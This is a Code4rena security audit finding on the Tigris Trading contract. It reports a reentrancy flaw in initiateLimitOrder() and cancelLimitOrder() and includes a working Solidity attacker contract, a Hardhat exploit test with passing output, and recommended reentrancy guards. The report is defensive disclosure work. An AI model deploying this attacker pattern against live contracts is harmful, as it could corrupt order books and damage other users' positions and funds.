Reentracy attack on 'initiateLimitOrder()' and 'cancelLimitOrder'

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L314
https://github.com/code-423n4/2022-12-tigris/blob/588c84b7bb354d20cbca6034544c4faa46e6a80e/contracts/Trading.sol#L355

Vulnerability details

Impact

External functions of Trading.sol is susceptible to reentrancy attack, a working attack example on 'initiateLimitOrder()' and 'cancelLimitOrder' is included in this submission which will cause
<1> Cancelled order is still in limitOrders()
<2> Other users' order is removed from limitOrders()

Proof of Concept

The working attack contract instance, put it into a new ReentrancyAttacker.sol file of contracts directory

//SPDX-License-Identifier: Unlicense
pragma solidity ^0.8.0;

import "./utils/MetaContext.sol";
import "./interfaces/ITrading.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
import "./interfaces/IPairsContract.sol";
import "./interfaces/IReferrals.sol";
import "./interfaces/IPosition.sol";
import "./interfaces/IGovNFT.sol";
import "./interfaces/IStableVault.sol";
import "./utils/TradingLibrary.sol";

contract ReentrancyAttacker {
    address target;

    function initiateLimitOrder(
        ITrading.TradeInfo calldata _tradeInfo,
        uint256 _orderType, // 1 limit, 2 stop
        uint256 _price,
        ITrading.ERC20PermitData calldata _permitData
    )
        external
    {
        ITrading(target).initiateLimitOrder(
            _tradeInfo,
            _orderType,
            _price,
            _permitData,
            address(this)
        );
    }

    function setTarget(address _target) external {
        target = _target;
    }

    function approve(address token, address spender) external {
        IERC20(token).approve(spender, type(uint256).max);
    }

    function onERC721Received(
    address ,
    address ,
    uint256 id,
    bytes calldata
    ) external returns(bytes4) {
        ITrading(target).cancelLimitOrder(id, address(this));
        return this.onERC721Received.selector;
    }
}

The test case shows how the attack works

const { expect } = require("chai");
const { deployments, ethers, waffle } = require("hardhat");
const { parseEther, formatEther } = ethers.utils;
const { signERC2612Permit } = require('eth-permit');
const exp = require("constants");

describe("Reentrancy attack on Trading contract", function () {

  let owner;
  let node;
  let user;
  let node2;
  let node3;
  let proxy;

  let Trading;
  let trading;

  let TradingExtension;
  let tradingExtension;

  let TradingLibrary;
  let tradinglibrary;

  let StableToken;
  let stabletoken;

  let StableVault;
  let stablevault;

  let position;

  let pairscontract;
  let referrals;

  let permitSig;
  let permitSigUsdc;

  let MockDAI;
  let mockdai;
  let MockUSDC;
  let mockusdc;

  let badstablevault;

  let chainlink;

  beforeEach(async function () {
    await deployments.fixture(['test']);
    [owner, node, user, node2, node3, proxy] = await ethers.getSigners();
    StableToken = await deployments.get("StableToken");
    stabletoken = await ethers.getContractAt("StableToken", StableToken.address);
    Trading = await deployments.get("Trading");
    trading = await ethers.getContractAt("Trading", Trading.address);
    await trading.connect(owner).setMaxWinPercent(5e10);
    TradingExtension = await deployments.get("TradingExtension");
    tradingExtension = await ethers.getContractAt("TradingExtension", TradingExtension.address);
    const Position = await deployments.get("Position");
    position = await ethers.getContractAt("Position", Position.address);
    MockDAI = await deployments.get("MockDAI");
    mockdai = await ethers.getContractAt("MockERC20", MockDAI.address);
    MockUSDC = await deployments.get("MockUSDC");
    mockusdc = await ethers.getContractAt("MockERC20", MockUSDC.address);
    const PairsContract = await deployments.get("PairsContract");
    pairscontract = await ethers.getContractAt("PairsContract", PairsContract.address);
    const Referrals = await deployments.get("Referrals");
    referrals = await ethers.getContractAt("Referrals", Referrals.address);
    StableVault = await deployments.get("StableVault");
    stablevault = await ethers.getContractAt("StableVault", StableVault.address);
    await stablevault.connect(owner).listToken(MockDAI.address);
    await stablevault.connect(owner).listToken(MockUSDC.address);
    await tradingExtension.connect(owner).setAllowedMargin(StableToken.address, true);
    await tradingExtension.connect(owner).setMinPositionSize(StableToken.address, parseEther("1"));
    await tradingExtension.connect(owner).setNode(node.address, true);
    await tradingExtension.connect(owner).setNode(node2.address, true);
    await tradingExtension.connect(owner).setNode(node3.address, true);
    await network.provider.send("evm_setNextBlockTimestamp", [2000000000]);
    await network.provider.send("evm_mine");
    permitSig = await signERC2612Permit(owner, MockDAI.address, owner.address, Trading.address, ethers.constants.MaxUint256);
    permitSigUsdc = await signERC2612Permit(owner, MockUSDC.address, owner.address, Trading.address, ethers.constants.MaxUint256);

    const BadStableVault = await ethers.getContractFactory("BadStableVault");
    badstablevault = await BadStableVault.deploy(StableToken.address);

    const ChainlinkContract = await ethers.getContractFactory("MockChainlinkFeed");
    chainlink = await ChainlinkContract.deploy();

    TradingLibrary = await deployments.get("TradingLibrary");
    tradinglibrary = await ethers.getContractAt("TradingLibrary", TradingLibrary.address);
    await trading.connect(owner).setLimitOrderPriceRange(1e10);
  });


  describe("Exploit 'initiateLimitOrder()' and 'cancelLimitOrder'", function () {
    let TradeInfo;
    let PriceData;
    let sig;
    let PermitData;
    let attacker;
    let otherUsersOrderId;
    let attacksOrderId;
    beforeEach(async function () {
      const ReentrancyAttacker = await ethers.getContractFactory("ReentrancyAttacker");
      attacker = await ReentrancyAttacker.deploy();
      await mockdai.connect(owner).transfer(attacker.address, parseEther('10000'));

      let initPrice = parseEther('1000');
      TradeInfo = [parseEther("1000"), MockDAI.address, StableVault.address, parseEther("10"), 1, true, parseEther("0"), parseEther("0"), ethers.constants.HashZero];
      PriceData = [node.address, 1, initPrice, 0, 2000000000, false];
      let message = ethers.utils.keccak256(
        ethers.utils.defaultAbiCoder.encode(
          ['address', 'uint256', 'uint256', 'uint256', 'uint256', 'bool'],
          [node.address, 1, initPrice, 0, 2000000000, false]
        )
      );
      sig = await node.signMessage(
        Buffer.from(message.substring(2), 'hex')
      );
      
      PermitData = [permitSig.deadline, ethers.constants.MaxUint256, permitSig.v, permitSig.r, permitSig.s, true];

      otherUsersOrderId = await position.getCount();
      await trading.connect(owner).initiateLimitOrder(TradeInfo, 1, parseEther("20000"), PermitData, owner.address);
      expect(await position.limitOrdersLength(1)).to.equal(1);
      let trade = await position.trades(otherUsersOrderId);
      expect(trade.trader).to.equal(owner.address);

      attacksOrderId = await position.getCount();
      PermitData[5] = false;
      await attacker.connect(owner).setTarget(trading.address);
      await attacker.connect(owner).approve(mockdai.address, trading.address);
      await attacker.connect(owner).initiateLimitOrder(TradeInfo, 1, parseEther("1000"), PermitData);
      await expect(position.trades(attacksOrderId)).to.be.revertedWith('ERC721: invalid token ID');
      let balance = await stabletoken.balanceOf(attacker.address);
      expect(balance.eq(parseEther('1000'))).to.be.true;
    });

    it.only("Cancelled order is still in 'limitOrders()'", async function () {
      let ids = await position.limitOrders(1);
      let existing = false;
      for (let id of ids) {
        if (id.eq(attacksOrderId)) {
          existing = true;
        }
      }
      expect(existing).to.be.true;
    });

    it.only("Other users' order is removed from 'limitOrders()'", async function () {
      let ids = await position.limitOrders(1);
      let existing = false;
      for (let id of ids) {
        if (id.eq(otherUsersOrderId)) {
          existing = true;
        }
      }
      expect(existing).to.be.false;
    });

  });
});

The test result

 Reentrancy attack on Trading contract
    Exploit 'initiateLimitOrder()' and 'cancelLimitOrder'
      √ Cancelled order is still in 'limitOrders()'
      √ Other users' order is removed from 'limitOrders()'

Tools Used

hardhat

Recommended Mitigation Steps

Add reentrancy protection for the following external functions

initiateMarketOrder()
initiateCloseOrder()
addToPosition()
initiateLimitOrder()
cancelLimitOrder()
addMargin()
removeMargin()
updateTpSl()
executeLimitOrder()
liquidatePosition()
limitClose()

[c4-judge]

GalloDaSballo marked the issue as duplicate of #400

[c4-judge]

GalloDaSballo marked the issue as not a duplicate

[c4-judge]

GalloDaSballo marked the issue as duplicate of #400

[c4-judge]

GalloDaSballo marked the issue as satisfactory